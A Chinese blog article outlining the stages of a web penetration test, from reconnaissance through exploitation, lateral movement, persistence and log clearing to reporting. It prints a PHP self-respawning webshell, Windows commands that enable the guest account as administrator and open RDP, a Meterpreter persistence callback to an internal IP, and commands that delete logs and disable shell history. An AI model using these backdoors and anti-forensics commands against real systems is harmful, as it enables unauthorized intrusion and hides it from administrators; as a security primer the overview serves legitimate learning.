百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

web or api 渗透测试流程(渗透测试网站 流程)

cac55 2024-10-01 07:38 32 浏览 0 评论

目录:
渗透测试
信息收集
漏洞探测
漏洞利用
内网转发
内网渗透
痕迹清除
撰写渗透测试报告

渗透测试:

渗透测试就是利用所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给客户。客户根据测试报告,对网站进行漏洞修补,以防止黑客的入侵!

渗透测试的前提是经过用户的授权,才可以对网站进行渗透。如果没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。自2017年6月1日起施行的《网络安全法》,对网络犯罪有了法律约束。 网络安全法

渗透测试分为 白盒测试 和 黑盒测试

白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析

黑盒测试就是只知道网站的url或app,模拟黑客对网站的渗透

黑盒渗透测试的流程和思路:

当确定好了一个目标进行渗透之后,第一步该做的是什么呢?

信息收集

第一步做的就是信息收集,根据网站URL可以查出一系列关于该网站的信息。通过URL可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一系列的信息。渗透测试之信息收集

漏洞探测

当收集到了足够多的信息之后,开始对网站进行漏洞探测。探测网站是否存在一些常见的Web漏洞,比如:

SQL注入;SQL注入详解

XSS跨站脚本;XSS(跨站脚本)漏洞详解

CSRF跨站请求伪造;CSRF跨站请求伪造攻击

XXE漏洞;XXE(XML外部实体注入)漏洞

SSRF服务端请求伪造漏洞;SSRF(服务端请求伪造)漏洞

文件包含漏洞;文件包含漏洞

文件上传漏洞 ;文件上传漏洞

文件解析漏洞;文件解析漏洞

远程代码执行漏洞;远程代码执行漏洞

CORS跨域资源共享漏洞;CORS跨域资源共享漏洞

越权访问漏洞;越权访问漏洞

目录浏览漏洞和任意文件读取/下载漏洞,传送门——>目录浏览漏洞和任意文件读取/下载漏洞

struts2漏洞;Struts2漏洞

JAVA反序列化漏洞;JAVA反序列化漏洞

这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。

网站漏洞扫描工具也有很多,比如:

AWVS ; AWVS扫描器的用法

AppScan; AppScan扫描器的用法

Owasp-Zap; OWASP-ZAP扫描器的使用

Nessus;Nessus扫描器的使用

网站漏洞扫描工具很多,这些是最常用到的!

漏洞利用

当探测到了该网站存在漏洞之后,可以尝试对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞很难拿到网站的webshell,往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:

SQL注入;Sqlmap的使用

XSS跨站脚本;Beef-XSS的使用

抓包改包工具;Burpsuite工具的使用 、 Fidder抓包软件的使用

文件上传漏洞,通过传一句话木马上去,进而再获得webshell;Webshell 、一句话木马

通常获得了webshell后,一般权限很低,需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用 、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权

内网转发

当获取到了网站的Webshell之后,如果想获取该主机的有关信息,可以尝试将该主机的webshell换成MSF的shell。直接生成一个木马,然后在网站中执行该木马,就能接收到一个MSF类型的shell了。

如果还想进一步的探测内网主机的信息的话,就需要进行内网转发了。是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

内网转发

内网转发随想

内网穿透工具FRP的使用

内网横向渗透

当获取了外网服务器的权限,进入该系统后,需要想尽办法从该服务器上查找到想要的信息。

对于windows主机,可以尝试浏览目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当获得了windows主机的账号密码,或者是创建了新用户后,为了不被网站管理员发现和不破坏服务器。尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而此时通过远程桌面登录的话,会将管理员挤掉,这样将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,尽量不要新建一个用户进行登录。可以尝试激活 guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,可以查看其他用户桌面上和其他目录有哪些软件,需要找的目标如下:

FTP相关的软件

数据库相关的软件

打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码

从该主机上找到的账号密码,可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。

net user guest /active:yes #激活guest用户

net localgroup administrators guest /add #将guest用户添加到

net user guest 密码 #更改guest用户密码

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口

对于Linux主机,可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。

在搭建了隧道可以连写通内网后,首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。

关于内网渗透(域环境和非域环境):内网渗透

内网的横向渗透MSF比较好用:

后渗透阶段之基于MSF的路由转发

后渗透阶段之基于MSF的内网主机探测

内网渗透的ICMP和DNS隧道搭建:

利用DNS进行命令控制和搭建隧道

利用ICMP进行命令控制和隧道传输

相关文章:内网渗透测试之域渗透详解!

内网渗透中mimikatz的使用

权限维持

在拿到目标主机的权限后,很有可能当时并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。需要维持住获得的现有权限。

Web后门

1:隐藏后门文件(将文件设置为隐藏)

2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。

<?php

set_time_limit(0);//程序执行时间

ignore_user_abort(1);//关掉终端后脚本仍然运行

unlink(__FILE__);//文件完整名

while(1){

file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");

$b=array_keys($a)[0];

eval($b);?>');

sleep(5);

}

?>

3: 404页面隐藏后门,或者在其他自带文件中插入后门代码

注:以上几种后门方法均能被D盾等工具检测到

Windows系统

1:建立隐藏用户,在用户名后加 $

2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现

#反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀

run persistence -X -i 5 -p 8888 -r 192.168.10.27


#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。

5:shift后门

6:远程桌面会话劫持

Linux系统

1:SSH后门

2:crontab定时任务

3:SSH公钥

4:创建SUID=0的用户

痕迹清除

当达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

在渗透进去之后如何清除留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。

最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。

Windows系统

1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

2:如果3389远程登录过,需要清除mstsc痕迹

3:执行命令清除日志:

del %WINDR%\* .log /a/s/q/f

4:如果是web应用,找到web日志文件,删除

相关文章:WINDOWS之入侵痕迹清理总结

Linux系统

1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

export HISTFILE=/dev/null export HISTSIZE=0

2:删除 /var/log 目录下的日志文件

3:如果是web应用,找到web日志文件,删除

撰写渗透测试保告

在完成了渗透测试之后,需要对这次渗透测试撰写渗透测试报告。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据渗透测试报告修补这些漏洞和风险,防止被黑客攻击!

相关推荐

苹果新macOS、新Mac还没出,但已经有新版虚拟机软件Parallels Desktop 19

自从苹果电脑全面转向ARM架构芯片之后,想在新款Mac电脑上安装Windows或Linux系统,就只能依靠虚拟机软件了,其中ParallelsDesktop应该是比较多Mac用户选择使用的一款,现在...

这个开源神器可快速帮你安装 MacOS 虚拟机

大家好,我是JackTian。安装Windows和Linux操作系统是最熟悉不过的必备技能了。那么,给大家推荐一个非常实用的开源脚本:macos-guest-virtualbox.sh,帮你...

如何在VMware虚拟机上安装运行Mac OS系统??

想在自己的Windows电脑上安装一个MacOS体验一下苹果系统的小伙伴,教程来了!!!一、安装前准备虚拟机运行软件:VMwareWorkstationPro,版本:16.0.0。(可以注册)VM...

效率!MacOS下超级好用的Linux虚拟工具:Lima

对于MacOS用户来说,搭建Linux虚拟环境一直是件让人头疼的事。无论是VirtualBox还是商业的VMware,都显得过于笨重且配置复杂。今天,我们要介绍一个轻巧方便的纯命令行Linux虚拟工具...

普通电脑安装苹果MacOS+Windows10双系统,这次可不是虚拟机

上篇文章中说到,有一朋友因为工作需要,得临时使用苹果系统,笔者给他用VmwareWorkStation安装了一个苹果系统的虚拟机,结果装是装上了,但是发现调整分辨率有点小问题,文件传输也不方便。虽说...

官方证实苹果M1芯片不支持Windows 11

中关村在线消息:近日根据微软官方透露,目前已经确定Windows11不支持运行在苹果M1芯片上,这意味着过往在Mac电脑上安装Windows系统的做法在M1芯片的Mac电脑上并不适用。不过此前有网友...

这可能是 Mac 共享文件最详细的教程了

如果希望让一台Mac访问另一台Mac上的文件,就可以使用Mac的文件共享功能。而且不仅是Mac之间,甚至用iPhone、iPad、WindowsPC都可以访问Mac的共享文件...

在 M1/M2 Mac 上,让 Windows 11 免费“跑”起来

自从苹果在产品中逐步使用自研的M系列芯片淘汰掉英特尔芯片之后,很多事情都发生了改变。作者|KirkMcElhearn和JoshuaLong译者|弯月出品|CSDN(ID:CS...

VMware Workstation克隆虚拟机后修改ip地址和mac地址

VMwareWorkstation克隆虚拟机,登录之后发现,克隆虚拟机不仅用户名相同,连ip地址、mac地址也是相同的,很显然访问相同ip地址的虚拟机是会出现ip地址冲突的。一、修改IP地址这就需要...

VirtualBox7中安装macOS big sur,在windows10&amp;11上「保姆级教程」

macOSBigSur是苹果公司研发的桌面端操作系统,于北京时间2020年6月23日在2020苹果全球开发者大会上发布。BigSur采用全新的精美设计,为主要app如Safari浏览器...

最强mac虚拟机Parallels Desktop 16 有哪些重要的新增功能?

ParallelsDesktop16正式发布,软件带来了一些显着的新功能和性能增强,包括对macOSBigSur的全面支持。当苹果推出macOSBigSur时,它终止了对Par...

关于在MacOS安装虚拟机的全过程(macos 安装虚拟机)

哈喽大家好,我是咕噜美乐蒂,很高兴又见面啦!下面美乐蒂将详细地给大家介绍一下在macOS上使用VMwareFusion创建虚拟机并安装操作系统的步骤:一、确认虚拟化支持:首先,确认你的Ma...

macOS上也能轻松运行Win系统的虚拟机,你还不知道吗?

在macOS系统上运行Win系统的方式,虚拟机篇吉安光头强原创你是否曾经为了在Mac上运行Windows系统而烦恼不用着急,下面我将分享一种简单易行的方法,让你轻松在Mac上运行Windows系统准备...

Mac M芯片上安装统信UOS 1070arm64虚拟机

原文链接:MacM芯片上安装统信UOS1070arm64虚拟机Hello,大家好啊!今天给大家带来一篇关于如何在苹果M系列芯片的Mac电脑上,通过VMware安装ARM64版统信UOS1070...

虚拟机不好用?Mac mini 多配一台Windows电脑,用远程桌面更好!

最近新入手了MacminiM4款,这里来更新一下相关问题,对于还没有购买Macmini,但是又想要用苹果电脑的朋友,一些参考,我觉得还是挺有用的!Macmini选择哪个渠道购买好?现在比较划算...

取消回复欢迎 发表评论: